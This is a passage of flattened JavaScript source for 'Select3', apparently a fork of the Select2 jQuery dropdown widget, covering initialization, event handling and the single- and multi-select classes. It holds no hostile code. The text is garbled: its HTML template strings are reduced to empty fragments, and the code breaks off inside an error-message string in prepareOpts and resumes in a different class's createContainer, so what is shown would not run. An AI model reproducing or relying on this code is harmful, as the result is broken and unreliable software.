.replace(/([;&,\-\.\+\*\~':"\!\^#$%@\[\]\(\)=>\|])/g, '\\$1'); this.container.attr("id", this.containerId); this.container.attr("title", opts.element.attr("title")); this.body = $(document.body); syncCssClasses(this.container, this.opts.element, this.opts.adaptContainerCssClass); this.container.attr("style", opts.element.attr("style")); this.container.css(evaluate(opts.containerCss, this.opts.element)); this.container.addClass(evaluate(opts.containerCssClass, this.opts.element)); this.elementTabIndex = this.opts.element.attr("tabindex"); // swap container for the element this.opts.element .data("select3", this) .attr("tabindex", "-1") .before(this.container) .on("click.select3", killEvent); // do not leak click events this.container.data("select3", this); this.dropdown = this.container.find(".select3-drop"); syncCssClasses(this.dropdown, this.opts.element, this.opts.adaptDropdownCssClass); this.dropdown.addClass(evaluate(opts.dropdownCssClass, this.opts.element)); this.dropdown.data("select3", this); this.dropdown.on("click", killEvent); this.results = results = this.container.find(resultsSelector); this.search = search = this.container.find("input.select3-input"); this.queryCount = 0; this.resultsPage = 0; this.context = null; // initialize the container this.initContainer(); this.container.on("click", killEvent); installFilteredMouseMove(this.results); this.dropdown.on("mousemove-filtered", resultsSelector, this.bind(this.highlightUnderEvent)); this.dropdown.on("touchstart touchmove touchend", resultsSelector, this.bind(function (event) { this._touchEvent = true; this.highlightUnderEvent(event); })); this.dropdown.on("touchmove", resultsSelector, this.bind(this.touchMoved)); this.dropdown.on("touchstart touchend", resultsSelector, this.bind(this.clearTouchMoved)); // Waiting for a click event on touch devices to select option and hide dropdown // otherwise click will be triggered on an underlying element this.dropdown.on('click', this.bind(function (event) { if (this._touchEvent) { this._touchEvent = false; this.selectHighlighted(); } })); installDebouncedScroll(80, this.results); this.dropdown.on("scroll-debounced", resultsSelector, this.bind(this.loadMoreIfNeeded)); // do not propagate change event from the search field out of the component $(this.container).on("change", ".select3-input", function(e) {e.stopPropagation();}); $(this.dropdown).on("change", ".select3-input", function(e) {e.stopPropagation();}); // if jquery.mousewheel plugin is installed we can prevent out-of-bounds scrolling of results via mousewheel if ($.fn.mousewheel) { results.mousewheel(function (e, delta, deltaX, deltaY) { var top = results.scrollTop(); if (deltaY > 0 && top - deltaY <= 0) { results.scrollTop(0); killEvent(e); } else if (deltaY < 0 && results.get(0).scrollHeight - results.scrollTop() + deltaY <= results.height()) { results.scrollTop(results.get(0).scrollHeight - results.height()); killEvent(e); } }); } installKeyUpChangeEvent(search); search.on("keyup-change input paste", this.bind(this.updateResults)); search.on("focus", function () { search.addClass("select3-focused"); }); search.on("blur", function () { search.removeClass("select3-focused");}); this.dropdown.on("mouseup", resultsSelector, this.bind(function (e) { if ($(e.target).closest(".select3-result-selectable").length > 0) { this.highlightUnderEvent(e); this.selectHighlighted(e); } })); // trap all mouse events from leaving the dropdown. sometimes there may be a modal that is listening // for mouse events outside of itself so it can close itself. since the dropdown is now outside the select3's // dom it will trigger the popup close, which is not what we want // focusin can cause focus wars between modals and select3 since the dropdown is outside the modal. this.dropdown.on("click mouseup mousedown touchstart touchend focusin", function (e) { e.stopPropagation(); }); this.nextSearchTerm = undefined; if ($.isFunction(this.opts.initSelection)) { // initialize selection based on the current value of the source element this.initSelection(); // if the user has provided a function that can set selection based on the value of the source element // we monitor the change event on the element and trigger it, allowing for two way synchronization this.monitorSource(); } if (opts.maximumInputLength !== null) { this.search.attr("maxlength", opts.maximumInputLength); } var disabled = opts.element.prop("disabled"); if (disabled === undefined) disabled = false; this.enable(!disabled); var readonly = opts.element.prop("readonly"); if (readonly === undefined) readonly = false; this.readonly(readonly); // Calculate size of scrollbar scrollBarDimensions = scrollBarDimensions || measureScrollbar(); this.autofocus = opts.element.prop("autofocus"); opts.element.prop("autofocus", false); if (this.autofocus) this.focus(); this.search.attr("placeholder", opts.searchInputPlaceholder); }, // abstract destroy: function () { var element=this.opts.element, select3 = element.data("select3"), self = this; this.close(); if (element.length && element[0].detachEvent && self._sync) { element.each(function () { if (self._sync) { this.detachEvent("onpropertychange", self._sync); } }); } if (this.propertyObserver) { this.propertyObserver.disconnect(); this.propertyObserver = null; } this._sync = null; if (select3 !== undefined) { select3.container.remove(); select3.liveRegion.remove(); select3.dropdown.remove(); element .show() .removeData("select3") .off(".select3") .prop("autofocus", this.autofocus || false); if (this.elementTabIndex) { element.attr({tabindex: this.elementTabIndex}); } else { element.removeAttr("tabindex"); } element.show(); } cleanupJQueryElements.call(this, "container", "liveRegion", "dropdown", "results", "search" ); }, // abstract optionToData: function(element) { if (element.is("option")) { return { id:element.prop("value"), text:element.text(), element: element.get(), css: element.attr("class"), disabled: element.prop("disabled"), locked: equal(element.attr("locked"), "locked") || equal(element.data("locked"), true) }; } else if (element.is("optgroup")) { return { text:element.attr("label"), children:[], element: element.get(), css: element.attr("class") }; } }, // abstract prepareOpts: function (opts) { var element, select, idKey, ajaxUrl, self = this; element = opts.element; if (element.get(0).tagName.toLowerCase() === "select") { this.select = select = opts.element; } if (select) { // these options are not allowed when attached to a select because they are picked up off the element itself $.each(["id", "multiple", "ajax", "query", "createSearchChoice", "initSelection", "data", "tags"], function () { if (this in opts) { throw new Error("Option '" + this + "' is not allowed for Select3 when attached to a ", "
    ", " ", "
      ", "
    ", "
    "].join("")); return container; }, // single enableInterface: function() { if (this.parent.enableInterface.apply(this, arguments)) { this.focusser.prop("disabled", !this.isInterfaceEnabled()); } }, // single opening: function () { var el, range, len; if (this.opts.minimumResultsForSearch >= 0) { this.showSearch(true); } this.parent.opening.apply(this, arguments); if (this.showSearchInput !== false) { // IE appends focusser.val() at the end of field :/ so we manually insert it at the beginning using a range // all other browsers handle this just fine this.search.val(this.focusser.val()); } if (this.opts.shouldFocusInput(this)) { this.search.focus(); // move the cursor to the end after focussing, otherwise it will be at the beginning and // new text will appear *before* focusser.val() el = this.search.get(0); if (el.createTextRange) { range = el.createTextRange(); range.collapse(false); range.select(); } else if (el.setSelectionRange) { len = this.search.val().length; el.setSelectionRange(len, len); } } // initializes search's value with nextSearchTerm (if defined by user) // ignore nextSearchTerm if the dropdown is opened by the user pressing a letter if(this.search.val() === "") { if(this.nextSearchTerm != undefined){ this.search.val(this.nextSearchTerm); this.search.select(); } } this.focusser.prop("disabled", true).val(""); this.updateResults(true); this.opts.element.trigger($.Event("select3-open")); }, // single close: function () { if (!this.opened()) return; this.parent.close.apply(this, arguments); this.focusser.prop("disabled", false); if (this.opts.shouldFocusInput(this)) { this.focusser.focus(); } }, // single focus: function () { if (this.opened()) { this.close(); } else { this.focusser.prop("disabled", false); if (this.opts.shouldFocusInput(this)) { this.focusser.focus(); } } }, // single isFocused: function () { return this.container.hasClass("select3-container-active"); }, // single cancel: function () { this.parent.cancel.apply(this, arguments); this.focusser.prop("disabled", false); if (this.opts.shouldFocusInput(this)) { this.focusser.focus(); } }, // single destroy: function() { $("label[for='" + this.focusser.attr('id') + "']") .attr('for', this.opts.element.attr("id")); this.parent.destroy.apply(this, arguments); cleanupJQueryElements.call(this, "selection", "focusser" ); }, // single initContainer: function () { var selection, container = this.container, dropdown = this.dropdown, idSuffix = nextUid(), elementLabel; if (this.opts.minimumResultsForSearch < 0) { this.showSearch(false); } else { this.showSearch(true); } this.selection = selection = container.find(".select3-choice"); this.focusser = container.find(".select3-focusser"); // add aria associations selection.find(".select3-chosen").attr("id", "select3-chosen-"+idSuffix); this.focusser.attr("aria-labelledby", "select3-chosen-"+idSuffix); this.results.attr("id", "select3-results-"+idSuffix); this.search.attr("aria-owns", "select3-results-"+idSuffix); // rewrite labels from original element to focusser this.focusser.attr("id", "s2id_autogen"+idSuffix); elementLabel = $("label[for='" + this.opts.element.attr("id") + "']"); this.opts.element.focus(this.bind(function () { this.focus(); })); this.focusser.prev() .text(elementLabel.text()) .attr('for', this.focusser.attr('id')); // Ensure the original element retains an accessible name var originalTitle = this.opts.element.attr("title"); this.opts.element.attr("title", (originalTitle || elementLabel.text())); this.focusser.attr("tabindex", this.elementTabIndex); // write label for search field using the label from the focusser element this.search.attr("id", this.focusser.attr('id') + '_search'); this.search.prev() .text($("label[for='" + this.focusser.attr('id') + "']").text()) .attr('for', this.search.attr('id')); this.search.on("keydown", this.bind(function (e) { if (!this.isInterfaceEnabled()) return; // filter 229 keyCodes (input method editor is processing key input) if (229 == e.keyCode) return; if (e.which === KEY.PAGE_UP || e.which === KEY.PAGE_DOWN) { // prevent the page from scrolling killEvent(e); return; } switch (e.which) { case KEY.UP: case KEY.DOWN: this.moveHighlight((e.which === KEY.UP) ? -1 : 1); killEvent(e); return; case KEY.ENTER: this.selectHighlighted(); killEvent(e); return; case KEY.TAB: this.selectHighlighted({noFocus: true}); return; case KEY.ESC: this.cancel(e); killEvent(e); return; } })); this.search.on("blur", this.bind(function(e) { // a workaround for chrome to keep the search field focussed when the scroll bar is used to scroll the dropdown. // without this the search field loses focus which is annoying if (document.activeElement === this.body.get(0)) { window.setTimeout(this.bind(function() { if (this.opened()) { this.search.focus(); } }), 0); } })); this.focusser.on("keydown", this.bind(function (e) { if (!this.isInterfaceEnabled()) return; if (e.which === KEY.TAB || KEY.isControl(e) || KEY.isFunctionKey(e) || e.which === KEY.ESC) { return; } if (this.opts.openOnEnter === false && e.which === KEY.ENTER) { killEvent(e); return; } if (e.which == KEY.DOWN || e.which == KEY.UP || (e.which == KEY.ENTER && this.opts.openOnEnter)) { if (e.altKey || e.ctrlKey || e.shiftKey || e.metaKey) return; this.open(); killEvent(e); return; } if (e.which == KEY.DELETE || e.which == KEY.BACKSPACE) { if (this.opts.allowClear) { this.clear(); } killEvent(e); return; } })); installKeyUpChangeEvent(this.focusser); this.focusser.on("keyup-change input", this.bind(function(e) { if (this.opts.minimumResultsForSearch >= 0) { e.stopPropagation(); if (this.opened()) return; this.open(); } })); selection.on("mousedown touchstart", "abbr", this.bind(function (e) { if (!this.isInterfaceEnabled()) { return; } this.clear(); killEventImmediately(e); this.close(); if (this.selection) { this.selection.focus(); } })); selection.on("mousedown touchstart", this.bind(function (e) { // Prevent IE from generating a click event on the body reinsertElement(selection); if (!this.container.hasClass("select3-container-active")) { this.opts.element.trigger($.Event("select3-focus")); } if (this.opened()) { this.close(); } else if (this.isInterfaceEnabled()) { this.open(); } killEvent(e); })); dropdown.on("mousedown touchstart", this.bind(function() { if (this.opts.shouldFocusInput(this)) { this.search.focus(); } })); selection.on("focus", this.bind(function(e) { killEvent(e); })); this.focusser.on("focus", this.bind(function(){ if (!this.container.hasClass("select3-container-active")) { this.opts.element.trigger($.Event("select3-focus")); } this.container.addClass("select3-container-active"); })).on("blur", this.bind(function() { if (!this.opened()) { this.container.removeClass("select3-container-active"); this.opts.element.trigger($.Event("select3-blur")); } })); this.search.on("focus", this.bind(function(){ if (!this.container.hasClass("select3-container-active")) { this.opts.element.trigger($.Event("select3-focus")); } this.container.addClass("select3-container-active"); })); this.initContainerWidth(); this.opts.element.hide(); this.setPlaceholder(); }, // single clear: function(triggerChange) { var data=this.selection.data("select3-data"); if (data) { // guard against queued quick consecutive clicks var evt = $.Event("select3-clearing"); this.opts.element.trigger(evt); if (evt.isDefaultPrevented()) { return; } var placeholderOption = this.getPlaceholderOption(); this.opts.element.val(placeholderOption ? placeholderOption.val() : ""); this.selection.find(".select3-chosen").empty(); this.selection.removeData("select3-data"); this.setPlaceholder(); if (triggerChange !== false){ this.opts.element.trigger({ type: "select3-removed", val: this.id(data), choice: data }); this.triggerChange({removed:data}); } } }, /** * Sets selection based on source element's value */ // single initSelection: function () { var selected; if (this.isPlaceholderOptionSelected()) { this.updateSelection(null); this.close(); this.setPlaceholder(); } else { var self = this; this.opts.initSelection.call(null, this.opts.element, function(selected){ if (selected !== undefined && selected !== null) { self.updateSelection(selected); self.close(); self.setPlaceholder(); self.nextSearchTerm = self.opts.nextSearchTerm(selected, self.search.val()); } }); } }, isPlaceholderOptionSelected: function() { var placeholderOption; if (this.getPlaceholder() === undefined) return false; // no placeholder specified so no option should be considered return ((placeholderOption = this.getPlaceholderOption()) !== undefined && placeholderOption.prop("selected")) || (this.opts.element.val() === "") || (this.opts.element.val() === undefined) || (this.opts.element.val() === null); }, // single prepareOpts: function () { var opts = this.parent.prepareOpts.apply(this, arguments), self=this; if (opts.element.get(0).tagName.toLowerCase() === "select") { // install the selection initializer opts.initSelection = function (element, callback) { var selected = element.find("option").filter(function() { return this.selected && !this.disabled }); // a single select box always has a value, no need to null check 'selected' callback(self.optionToData(selected)); }; } else if ("data" in opts) { // install default initSelection when applied to hidden input and data is local opts.initSelection = opts.initSelection || function (element, callback) { var id = element.val(); //search in data by id, storing the actual matching item var match = null; opts.query({ matcher: function(term, text, el){ var is_match = equal(id, opts.id(el)); if (is_match) { match = el; } return is_match; }, callback: !$.isFunction(callback) ? $.noop : function() { callback(match); } }); }; } return opts; }, // single getPlaceholder: function() { // if a placeholder is specified on a single select without a valid placeholder option ignore it if (this.select) { if (this.getPlaceholderOption() === undefined) { return undefined; } } return this.parent.getPlaceholder.apply(this, arguments); }, // single setPlaceholder: function () { var placeholder = this.getPlaceholder(); if (this.isPlaceholderOptionSelected() && placeholder !== undefined) { // check for a placeholder option if attached to a select if (this.select && this.getPlaceholderOption() === undefined) return; this.selection.find(".select3-chosen").html(this.opts.escapeMarkup(placeholder)); this.selection.addClass("select3-default"); this.container.removeClass("select3-allowclear"); } }, // single postprocessResults: function (data, initial, noHighlightUpdate) { var selected = 0, self = this, showSearchInput = true; // find the selected element in the result list this.findHighlightableChoices().each2(function (i, elm) { if (equal(self.id(elm.data("select3-data")), self.opts.element.val())) { selected = i; return false; } }); // and highlight it if (noHighlightUpdate !== false) { if (initial === true && selected >= 0) { this.highlight(selected); } else { this.highlight(0); } } // hide the search box if this is the first we got the results and there are enough of them for search if (initial === true) { var min = this.opts.minimumResultsForSearch; if (min >= 0) { this.showSearch(countResults(data.results) >= min); } } }, // single showSearch: function(showSearchInput) { if (this.showSearchInput === showSearchInput) return; this.showSearchInput = showSearchInput; this.dropdown.find(".select3-search").toggleClass("select3-search-hidden", !showSearchInput); this.dropdown.find(".select3-search").toggleClass("select3-offscreen", !showSearchInput); //add "select3-with-searchbox" to the container if search box is shown $(this.dropdown, this.container).toggleClass("select3-with-searchbox", showSearchInput); }, // single onSelect: function (data, options) { if (!this.triggerSelect(data)) { return; } var old = this.opts.element.val(), oldData = this.data(); this.opts.element.val(this.id(data)); this.updateSelection(data); this.opts.element.trigger({ type: "select3-selected", val: this.id(data), choice: data }); this.nextSearchTerm = this.opts.nextSearchTerm(data, this.search.val()); this.close(); if ((!options || !options.noFocus) && this.opts.shouldFocusInput(this)) { this.focusser.focus(); } if (!equal(old, this.id(data))) { this.triggerChange({ added: data, removed: oldData }); } }, // single updateSelection: function (data) { var container=this.selection.find(".select3-chosen"), formatted, cssClass; this.selection.data("select3-data", data); container.empty(); if (data !== null) { formatted=this.opts.formatSelection(data, container, this.opts.escapeMarkup); } if (formatted !== undefined) { container.append(formatted); } cssClass=this.opts.formatSelectionCssClass(data, container); if (cssClass !== undefined) { container.addClass(cssClass); } this.selection.removeClass("select3-default"); if (this.opts.allowClear && this.getPlaceholder() !== undefined) { this.container.addClass("select3-allowclear"); } }, // single val: function () { var val, triggerChange = false, data = null, self = this, oldData = this.data(); if (arguments.length === 0) { return this.opts.element.val(); } val = arguments[0]; if (arguments.length > 1) { triggerChange = arguments[1]; } if (this.select) { this.select .val(val) .find("option").filter(function() { return this.selected }).each2(function (i, elm) { data = self.optionToData(elm); return false; }); this.updateSelection(data); this.setPlaceholder(); if (triggerChange) { this.triggerChange({added: data, removed:oldData}); } } else { // val is an id. !val is true for [undefined,null,'',0] - 0 is legal if (!val && val !== 0) { this.clear(triggerChange); return; } if (this.opts.initSelection === undefined) { throw new Error("cannot call val() if initSelection() is not defined"); } this.opts.element.val(val); this.opts.initSelection(this.opts.element, function(data){ self.opts.element.val(!data ? "" : self.id(data)); self.updateSelection(data); self.setPlaceholder(); if (triggerChange) { self.triggerChange({added: data, removed:oldData}); } }); } }, // single clearSearch: function () { this.search.val(""); this.focusser.val(""); }, // single data: function(value) { var data, triggerChange = false; if (arguments.length === 0) { data = this.selection.data("select3-data"); if (data == undefined) data = null; return data; } else { if (arguments.length > 1) { triggerChange = arguments[1]; } if (!value) { this.clear(triggerChange); } else { data = this.data(); this.opts.element.val(!value ? "" : this.id(value)); this.updateSelection(value); if (triggerChange) { this.triggerChange({added: value, removed:data}); } } } } }); MultiSelect3 = clazz(AbstractSelect3, { // multi createContainer: function () { var container = $(document.createElement("div")).attr({ "class": "select3-container select3-container-multi" }).html([ "
      ", "
    • ", " ", " ", "
    • ", "
    ", "
    ", "
      ", "
    ", "
    "].join("")); return container; }, // multi prepareOpts: function () { var opts = this.parent.prepareOpts.apply(this, arguments), self=this; // TODO validate placeholder is a string if specified if (opts.element.get(0).tagName.toLowerCase() === "select") { // install the selection initializer opts.initSelection = function (element, callback) { var data = []; element.find("option").filter(function() { return this.selected && !this.disabled }).each2(function (i, elm) { data.push(self.optionToData(elm)); }); callback(data); }; } else if ("data" in opts) { // install default initSelection when applied to hidden input and data is local opts.initSelection = opts.initSelection || function (element, callback) { var ids = splitVal(element.val(), opts.separator, opts.transformVal); //search in data by array of ids, storing matching items in a list var matches = []; opts.query({ matcher: function(term, text, el){ var is_match = $.grep(ids, function(id) { return equal(id, opts.id(el)); }).length; if (is_match) { matches.push(el); } return is_match; }, callback: !$.isFunction(callback) ? $.noop : function() { // reorder matches based on the order they appear in the ids array because right now // they are in the order in which they appear in data array var ordered = []; for (var i = 0; i < ids.length; i++) { var id = ids[i]; for (var j = 0; j < matches.length; j++) { var match = matches[j]; if (equal(id, opts.id(match))) { ordered.push(match); matches.splice(j, 1); break; } } } callback(ordered); } }); }; } return opts; }, // multi selectChoice: function (choice) { var selected = this.container.find(".select3-search-choice-focus"); if (selected.length && choice && choice[0] == selected[0]) { } else { if (selected.length) { this.opts.element.trigger("choice-deselected", selected); } selected.removeClass("select3-search-choice-focus"); if (choice && choice.length) { this.close(); choice.addClass("select3-search-choice-focus"); this.opts.element.trigger("choice-selected", choice); } } }, // multi destroy: function() { $("label[for='" + this.search.attr('id') + "']") .attr('for', this.opts.element.attr("id")); this.parent.destroy.apply(this, arguments); cleanupJQueryElements.call(this, "searchContainer", "selection" ); }, // multi initContainer: function () { var selector = ".select3-choices", selection; this.searchContainer = this.container.find(".select3-search-field"); this.selection = selection = this.container.find(selector); var _this = this; this.selection.on("click", ".select3-container:not(.select3-container-disabled) .select3-search-choice:not(.select3-locked)", function (e) { _this.search[0].focus(); _this.selectChoice($(this)); }); // rewrite labels from original element to focusser this.search.attr("id", "s2id_autogen"+nextUid()); this.search.prev() .text($("label[for='" + this.opts.element.attr("id") + "']").text()) .attr('for', this.search.attr('id')); this.opts.element.focus(this.bind(function () { this.focus(); })); this.search.on("input paste", this.bind(function() { if (this.search.attr('placeholder') && this.search.val().length == 0) return; if (!this.isInterfaceEnabled()) return; if (!this.opened()) { this.open(); } })); this.search.attr("tabindex", this.elementTabIndex); this.keydowns = 0; this.search.on("keydown", this.bind(function (e) { if (!this.isInterfaceEnabled()) return; ++this.keydowns; var selected = selection.find(".select3-search-choice-focus"); var prev = selected.prev(".select3-search-choice:not(.select3-locked)"); var next = selected.next(".select3-search-choice:not(.select3-locked)"); var pos = getCursorInfo(this.search); if (selected.length && (e.which == KEY.LEFT || e.which == KEY.RIGHT || e.which == KEY.BACKSPACE || e.which == KEY.DELETE || e.which == KEY.ENTER)) { var selectedChoice = selected; if (e.which == KEY.LEFT && prev.length) { selectedChoice = prev; } else if (e.which == KEY.RIGHT) { selectedChoice = next.length ? next : null; } else if (e.which === KEY.BACKSPACE) { if (this.unselect(selected.first())) { this.search.width(10); selectedChoice = prev.length ? prev : next; } } else if (e.which == KEY.DELETE) { if (this.unselect(selected.first())) { this.search.width(10); selectedChoice = next.length ? next : null; } } else if (e.which == KEY.ENTER) { selectedChoice = null; } this.selectChoice(selectedChoice); killEvent(e); if (!selectedChoice || !selectedChoice.length) { this.open(); } return; } else if (((e.which === KEY.BACKSPACE && this.keydowns == 1) || e.which == KEY.LEFT) && (pos.offset == 0 && !pos.length)) { this.selectChoice(selection.find(".select3-search-choice:not(.select3-locked)").last()); killEvent(e); return; } else { this.selectChoice(null); } if (this.opened()) { switch (e.which) { case KEY.UP: case KEY.DOWN: this.moveHighlight((e.which === KEY.UP) ? -1 : 1); killEvent(e); return; case KEY.ENTER: this.selectHighlighted(); killEvent(e); return; case KEY.TAB: this.selectHighlighted({noFocus:true}); this.close(); return; case KEY.ESC: this.cancel(e); killEvent(e); return; } } if (e.which === KEY.TAB || KEY.isControl(e) || KEY.isFunctionKey(e) || e.which === KEY.BACKSPACE || e.which === KEY.ESC) { return; } if (e.which === KEY.ENTER) { if (this.opts.openOnEnter === false) { return; } else if (e.altKey || e.ctrlKey || e.shiftKey || e.metaKey) { return; } } this.open(); if (e.which === KEY.PAGE_UP || e.which === KEY.PAGE_DOWN) { // prevent the page from scrolling killEvent(e); } if (e.which === KEY.ENTER) { // prevent form from being submitted killEvent(e); } })); this.search.on("keyup", this.bind(function (e) { this.keydowns = 0; this.resizeSearch(); }) ); this.search.on("blur", this.bind(function(e) { this.container.removeClass("select3-container-active"); this.search.removeClass("select3-focused"); this.selectChoice(null); if (!this.opened()) this.clearSearch(); e.stopImmediatePropagation(); this.opts.element.trigger($.Event("select3-blur")); })); this.container.on("click", selector, this.bind(function (e) { if (!this.isInterfaceEnabled()) return; if ($(e.target).closest(".select3-search-choice").length > 0) { // clicked inside a select3 search choice, do not open return; } this.selectChoice(null); this.clearPlaceholder(); if (!this.container.hasClass("select3-container-active")) { this.opts.element.trigger($.Event("select3-focus")); } this.open(); this.focusSearch(); e.preventDefault(); })); this.container.on("focus", selector, this.bind(function () { if (!this.isInterfaceEnabled()) return; if (!this.container.hasClass("select3-container-active")) { this.opts.element.trigger($.Event("select3-focus")); } this.container.addClass("select3-container-active"); this.dropdown.addClass("select3-drop-active"); this.clearPlaceholder(); })); this.initContainerWidth(); this.opts.element.hide(); // set the placeholder if necessary this.clearSearch(); }, // multi enableInterface: function() { if (this.parent.enableInterface.apply(this, arguments)) { this.search.prop("disabled", !this.isInterfaceEnabled()); } }, // multi initSelection: function () { var data; if (this.opts.element.val() === "" && this.opts.element.text() === "") { this.updateSelection([]); this.close(); // set the placeholder if necessary this.clearSearch(); } if (this.select || this.opts.element.val() !== "") { var self = this; this.opts.initSelection.call(null, this.opts.element, function(data){ if (data !== undefined && data !== null) { self.updateSelection(data); self.close(); // set the placeholder if necessary self.clearSearch(); } }); } }, // multi clearSearch: function () { var placeholder = this.getPlaceholder(), maxWidth = this.getMaxSearchWidth(); if (placeholder !== undefined && this.getVal().length === 0 && this.search.hasClass("select3-focused") === false) { this.search.val(placeholder).addClass("select3-default"); // stretch the search box to full width of the container so as much of the placeholder is visible as possible // we could call this.resizeSearch(), but we do not because that requires a sizer and we do not want to create one so early because of a firefox bug, see #944 this.search.width(maxWidth > 0 ? maxWidth : this.container.css("width")); } else { this.search.val("").width(10); } }, // multi clearPlaceholder: function () { if (this.search.hasClass("select3-default")) { this.search.val("").removeClass("select3-default"); } }, // multi opening: function () { this.clearPlaceholder(); // should be done before super so placeholder is not used to search this.resizeSearch(); this.parent.opening.apply(this, arguments); this.focusSearch(); // initializes search's value with nextSearchTerm (if defined by user) // ignore nextSearchTerm if the dropdown is opened by the user pressing a letter if(this.search.val() === "") { if(this.nextSearchTerm != undefined){ this.search.val(this.nextSearchTerm); this.search.select(); } } this.updateResults(true); if (this.opts.shouldFocusInput(this)) { this.search.focus(); } this.opts.element.trigger($.Event("select3-open")); }, // multi close: function () { if (!this.opened()) return; this.parent.close.apply(this, arguments); }, // multi focus: function () { this.close(); this.search.focus(); }, // multi isFocused: function () { return this.search.hasClass("select3-focused"); }, // multi updateSelection: function (data) { var ids = [], filtered = [], self = this; // filter out duplicates $(data).each(function () { if (indexOf(self.id(this), ids) < 0) { ids.push(self.id(this)); filtered.push(this); } }); data = filtered; this.selection.find(".select3-search-choice").remove(); $(data).each(function () { self.addSelectedChoice(this); }); self.postprocessResults(); }, // multi tokenize: function() { var input = this.search.val(); input = this.opts.tokenizer.call(this, input, this.data(), this.bind(this.onSelect), this.opts); if (input != null && input != undefined) { this.search.val(input); if (input.length > 0) { this.open(); } } }, // multi onSelect: function (data, options) { if (!this.triggerSelect(data) || data.text === "") { return; } this.addSelectedChoice(data); this.opts.element.trigger({ type: "selected", val: this.id(data), choice: data }); // keep track of the search's value before it gets cleared this.nextSearchTerm = this.opts.nextSearchTerm(data, this.search.val()); this.clearSearch(); this.updateResults(); if (this.select || !this.opts.closeOnSelect) this.postprocessResults(data, false, this.opts.closeOnSelect===true); if (this.opts.closeOnSelect) { this.close(); this.search.width(10); } else { if (this.countSelectableResults()>0) { this.search.width(10); this.resizeSearch(); if (this.getMaximumSelectionSize() > 0 && this.val().length >= this.getMaximumSelectionSize()) { // if we reached max selection size repaint the results so choices // are replaced with the max selection reached message this.updateResults(true); } else { // initializes search's value with nextSearchTerm and update search result if(this.nextSearchTerm != undefined){ this.search.val(this.nextSearchTerm); this.updateResults(); this.search.select(); } } this.positionDropdown(); } else { // if nothing left to select close this.close(); this.search.width(10); } } // since its not possible to select an element that has already been // added we do not need to check if this is a new element before firing change this.triggerChange({ added: data }); if (!options || !options.noFocus) this.focusSearch(); }, // multi cancel: function () { this.close(); this.focusSearch(); }, addSelectedChoice: function (data) { var enableChoice = !data.locked, enabledItem = $( "
  • " + "
    " + " " + "
  • "), disabledItem = $( "
  • " + "
    " + "
  • "); var choice = enableChoice ? enabledItem : disabledItem, id = this.id(data), val = this.getVal(), formatted, cssClass; formatted=this.opts.formatSelection(data, choice.find("div"), this.opts.escapeMarkup); if (formatted != undefined) { choice.find("div").replaceWith($("
    ").html(formatted)); } cssClass=this.opts.formatSelectionCssClass(data, choice.find("div")); if (cssClass != undefined) { choice.addClass(cssClass); } if(enableChoice){ choice.find(".select3-search-choice-close") .on("mousedown", killEvent) .on("click dblclick", this.bind(function (e) { if (!this.isInterfaceEnabled()) return; this.unselect($(e.target)); this.selection.find(".select3-search-choice-focus").removeClass("select3-search-choice-focus"); killEvent(e); this.close(); this.focusSearch(); })).on("focus", this.bind(function () { if (!this.isInterfaceEnabled()) return; this.container.addClass("select3-container-active"); this.dropdown.addClass("select3-drop-active"); })); } choice.data("select3-data", data); choice.insertBefore(this.searchContainer); val.push(id); this.setVal(val); }, // multi unselect: function (selected) { var val = this.getVal(), data, index; selected = selected.closest(".select3-search-choice"); if (selected.length === 0) { throw "Invalid argument: " + selected + ". Must be .select3-search-choice"; } data = selected.data("select3-data"); if (!data) { // prevent a race condition when the 'x' is clicked really fast repeatedly the event can be queued // and invoked on an element already removed return; } var evt = $.Event("select3-removing"); evt.val = this.id(data); evt.choice = data; this.opts.element.trigger(evt); if (evt.isDefaultPrevented()) { return false; } while((index = indexOf(this.id(data), val)) >= 0) { val.splice(index, 1); this.setVal(val); if (this.select) this.postprocessResults(); } selected.remove(); this.opts.element.trigger({ type: "select3-removed", val: this.id(data), choice: data }); this.triggerChange({ removed: data }); return true; }, // multi postprocessResults: function (data, initial, noHighlightUpdate) { var val = this.getVal(), choices = this.results.find(".select3-result"), compound = this.results.find(".select3-result-with-children"), self = this; choices.each2(function (i, choice) { var id = self.id(choice.data("select3-data")); if (indexOf(id, val) >= 0) { choice.addClass("select3-selected"); // mark all children of the selected parent as selected choice.find(".select3-result-selectable").addClass("select3-selected"); } }); compound.each2(function(i, choice) { // hide an optgroup if it doesn't have any selectable children if (!choice.is('.select3-result-selectable') && choice.find(".select3-result-selectable:not(.select3-selected)").length === 0) { choice.addClass("select3-selected"); } }); if (this.highlight() == -1 && noHighlightUpdate !== false && this.opts.closeOnSelect === true){ self.highlight(0); } //If all results are chosen render formatNoMatches if(!this.opts.createSearchChoice && !choices.filter('.select3-result:not(.select3-selected)').length > 0){ if(!data || data && !data.more && this.results.find(".select3-no-results").length === 0) { if (checkFormatter(self.opts.formatNoMatches, "formatNoMatches")) { this.results.append("
  • " + evaluate(self.opts.formatNoMatches, self.opts.element, self.search.val()) + "
  • "); } } } }, // multi getMaxSearchWidth: function() { return this.selection.width() - getSideBorderPadding(this.search); }, // multi resizeSearch: function () { var minimumWidth, left, maxWidth, containerLeft, searchWidth, sideBorderPadding = getSideBorderPadding(this.search); minimumWidth = measureTextWidth(this.search) + 10; left = this.search.offset().left; maxWidth = this.selection.width(); containerLeft = this.selection.offset().left; searchWidth = maxWidth - (left - containerLeft) - sideBorderPadding; if (searchWidth < minimumWidth) { searchWidth = maxWidth - sideBorderPadding; } if (searchWidth < 40) { searchWidth = maxWidth - sideBorderPadding; } if (searchWidth <= 0) { searchWidth = minimumWidth; } this.search.width(Math.floor(searchWidth)); }, // multi getVal: function () { var val; if (this.select) { val = this.select.val(); return val === null ? [] : val; } else { val = this.opts.element.val(); return splitVal(val, this.opts.separator, this.opts.transformVal); } }, // multi setVal: function (val) { var unique; if (this.select) { this.select.val(val); } else { unique = []; // filter out duplicates $(val).each(function () { if (indexOf(this, unique) < 0) unique.push(this); }); this.opts.element.val(unique.length === 0 ? "" : unique.join(this.opts.separator)); } }, // multi buildChangeDetails: function (old, current) { var current = current.slice(0), old = old.slice(0); // remove intersection from each array for (var i = 0; i < current.length; i++) { for (var j = 0; j < old.length; j++) { if (equal(this.opts.id(current[i]), this.opts.id(old[j]))) { current.splice(i, 1); if(i>0){ i--; } old.splice(j, 1); j--; } } } return {added: current, removed: old}; }, // multi val: function (val, triggerChange) { var oldData, self=this; if (arguments.length === 0) { return this.getVal(); } oldData=this.data(); if (!oldData.length) oldData=[]; // val is an id. !val is true for [undefined,null,'',0] - 0 is legal if (!val && val !== 0) { this.opts.element.val(""); 